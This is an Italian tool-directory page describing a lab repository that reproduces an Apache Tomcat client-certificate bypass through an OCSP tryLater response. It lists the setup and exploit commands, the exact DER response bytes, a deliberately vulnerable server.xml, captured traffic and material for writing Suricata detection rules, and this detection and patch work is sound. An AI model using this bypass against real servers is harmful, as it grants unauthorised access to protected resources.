Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-29145-Everything — Ambiente PoC riproducibile per CVE-2026-29145 Apache Tomcat CLIENT_CERT + bypass OCSP soft-fail, inclusi script di exploit, responder OCSP fittizio e regole di rilevamento Suricata. | Kitploit
Strumenti/GitHubGitHub/gkdgkd123/cve-2026-29145-everything
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàExploitEvasione IDS/IPSSfruttamento di Applicazioni WebPenetration TestingRilevamento IntrusioniApprendimento e FormazioneLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubgkdgkd123/cve-2026-29145-everything

CVE-2026-29145-Everything

Ambiente PoC riproducibile per CVE-2026-29145 Apache Tomcat CLIENT_CERT + bypass OCSP soft-fail, inclusi script di exploit, responder OCSP fittizio e regole di rilevamento Suricata.

Vedi Repository
11 mese faNon ancora revisionato

CVE-2026-29145 Everything

Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass ambiente di riproduzione completo, pacchetti di traffico di exploit e materiali per la scrittura di regole di rilevamento Suricata.

Solo per ricerca sulla sicurezza autorizzata e sviluppo di regole di rilevamento. Non utilizzare su sistemi non autorizzati.


Riepilogo della vulnerabilità

ElementoDescrizione
CVECVE-2026-29145
ComponenteApache Tomcat / Tomcat Native
TipoBypass dell'autenticazione (mTLS / CLIENT_CERT)
CVSS9.1 (NVD) / Moderato (Apache)
Versioni interessateTomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13 ecc.
Versioni corretteTomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+

Principio della vulnerabilità

Quando Tomcat abilita CLIENT_CERT e OCSP e configura ocspSoftFail=false (hard fail), alcuni percorsi di errore OCSP (in particolare lo stato di risposta tryLater) non vengono ancora gestiti come hard fail, portando all'accettazione di certificati client che dovrebbero essere rifiutati e consentendo l'accesso a risorse protette.

La correzione ufficiale (esempio: commit di Tomcat fe26667c) allinea la gestione del percorso FFM per OCSP TRY_LATER con Tomcat Native.

Conclusioni dei test in questo repository

In Tomcat 10.1.52 + Tomcat Native 2.0.12:

Punto chiave: deve restituire tryLater di RFC 6960, solo HTTP 500 non è sufficiente per innescare il bypass in questo ambiente.


Contenuto del repository

root@kitploit:~
CVE-2026-29145-Everything/
├── README.md                 # Questo file
├── REPRODUCTION.md           # Note dettagliate per la riproduzione e suggerimenti Suricata
├── docker-compose.yml        # Tomcat vulnerabile + Mock OCSP
├── poc_exploit.py            # Script di exploit/rilevamento (exit 10 = vulnerabile)
├── simple_proxy_fail.py      # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh            # Genera certificati CA/server/client (con OCSP AIA)
├── capture_exploit.sh        # Cattura pacchetti con un clic durante l'exploit
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # Mappatura utenti CLIENT-CERT
│   ├── ROOT/                 # Patch minima per la ROOT predefinita dell'immagine ufficiale
│   └── protected/            # Risorse protette + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ Traffico di exploit già catturato (per scrivere regole)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # Pacchetto principale: mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # Solo OCSP in chiaro
    ├── CVE-2026-29145-mtls-only.pcap       # Solo TLS 8443
    └── exploit_response.html               # Snapshot della risposta di exploit riuscita

La directory delle chiavi private dei certificati certs/ è ignorata da .gitignore per impostazione predefinita, deve essere generata localmente.


Avvio rapido

Dipendenze

  • Docker / Docker Compose
  • OpenSSL
  • Python 3.7+ (pip install -r requirements.txt o python3-requests di sistema)
  • tcpdump (opzionale, per catturare pacchetti)

Riproduzione con un comando

root@kitploit:~
git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. Genera certificati (AIA punta al nome del servizio OCSP in Docker)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. Avvia l'ambiente (OCSP_MODE=try_later predefinito)
docker compose up -d
# Aspetta healthy
docker compose ps

# 3. Esegui PoC
python3 poc_exploit.py
# Output atteso:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# Codice di uscita 10 = vulnerabile; 0 = non sfruttabile/aggiornato

Verifica manuale:

root@kitploit:~
curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

Cattura di pacchetti (conservare il traffico)

root@kitploit:~
./capture_exploit.sh
# Output in pcaps/CVE-2026-29145-*.pcap

Il repository include già un pcap di un exploit riuscito, che può essere utilizzato direttamente per la verifica delle regole Suricata, senza necessità di ricatturare il traffico.


Modalità Mock OCSP

root@kitploit:~
# tryLater — percorso di attivazione CVE (predefinito)
OCSP_MODE=try_later docker compose up -d --force-recreate

# Errore HTTP 500 (in questo ambiente, hard fail rifiuta)
OCSP_MODE=fail docker compose up -d --force-recreate

# Simula successo OCSP (body non è DER reale, testa solo la connettività)
OCSP_MODE=succeed docker compose up -d --force-recreate

# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate

Caratteristiche del traffico (materiali Suricata)

Importante: 8443 è mTLS crittografato con TLS 1.3, aprendolo direttamente con Wireshark sembrerà un garbled.
8888 è OCSP in HTTP in chiaro, per scrivere regole si dovrebbe dare priorità a OCSP.
Istruzioni complete in pcaps/README.md.

File consigliati

OCSP in chiaro (direttamente abbinabile in rete)

root@kitploit:~
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

HTTP dell'applicazione decifrato (richiede sslkeys.log)

root@kitploit:~
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

root@kitploit:~
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

Vedi REPRODUCTION.md e pcaps/README.md per dettagli.


Punti di configurazione (server.xml vulnerabile)

root@kitploit:~
<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

Il CLIENT-CERT a livello applicativo si trova in tomcat/protected/WEB-INF/web.xml.


Raccomandazioni per la correzione

  1. Aggiornare Tomcat a 10.1.53+ (o alla versione corretta della linea corrispondente)
  2. Aggiornare contemporaneamente Tomcat Native a 2.0.14+
  3. Riesaminare la politica ocspSoftFail e la raggiungibilità OCSP; eseguire test di regressione per comportamento non raggiungibile/tryLater.

Pulizia

root@kitploit:~
./cleanup.sh
# o
docker compose down -v

Riferimenti

  • Apache Tomcat 10 Security — CVE-2026-29145
  • NVD CVE-2026-29145
  • RFC 6960 OCSP
  • Scheletro PoC upstream: CVE-2026-29145-Tester (questo repository ha rafforzato e registrato completamente la configurazione riproducibile e il percorso tryLater).

Disclaimer

Questo progetto è destinato esclusivamente a scopi educativi, test di penetrazione autorizzati e sviluppo di regole di rilevamento delle intrusioni. L'utente deve assicurarsi di avere l'autorizzazione legale per il sistema di destinazione. L'autore non si assume alcuna responsabilità per eventuali abusi.

Scarica lo strumento
Comportamento OCSPocspSoftFailRisultato
DER tryLater (30 03 0a 01 03)falseHTTP 200 — bypass riuscito
HTTP 500falseTLS rifiutato (hard fail applicato)
OCSP 超时falseTLS rifiutato
任意失败true200 (soft-fail previsto)
FileDescrizione
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.logSessione completa decifrabile
pcaps/CVE-2026-29145-ocsp-only.pcapOCSP in chiaro (senza chiavi)
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txtTesto OCSP HTTP leggibile
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txtTesto HTTP dell'applicazione decifrato
rules/cve-2026-29145.rulesRegole Suricata di esempio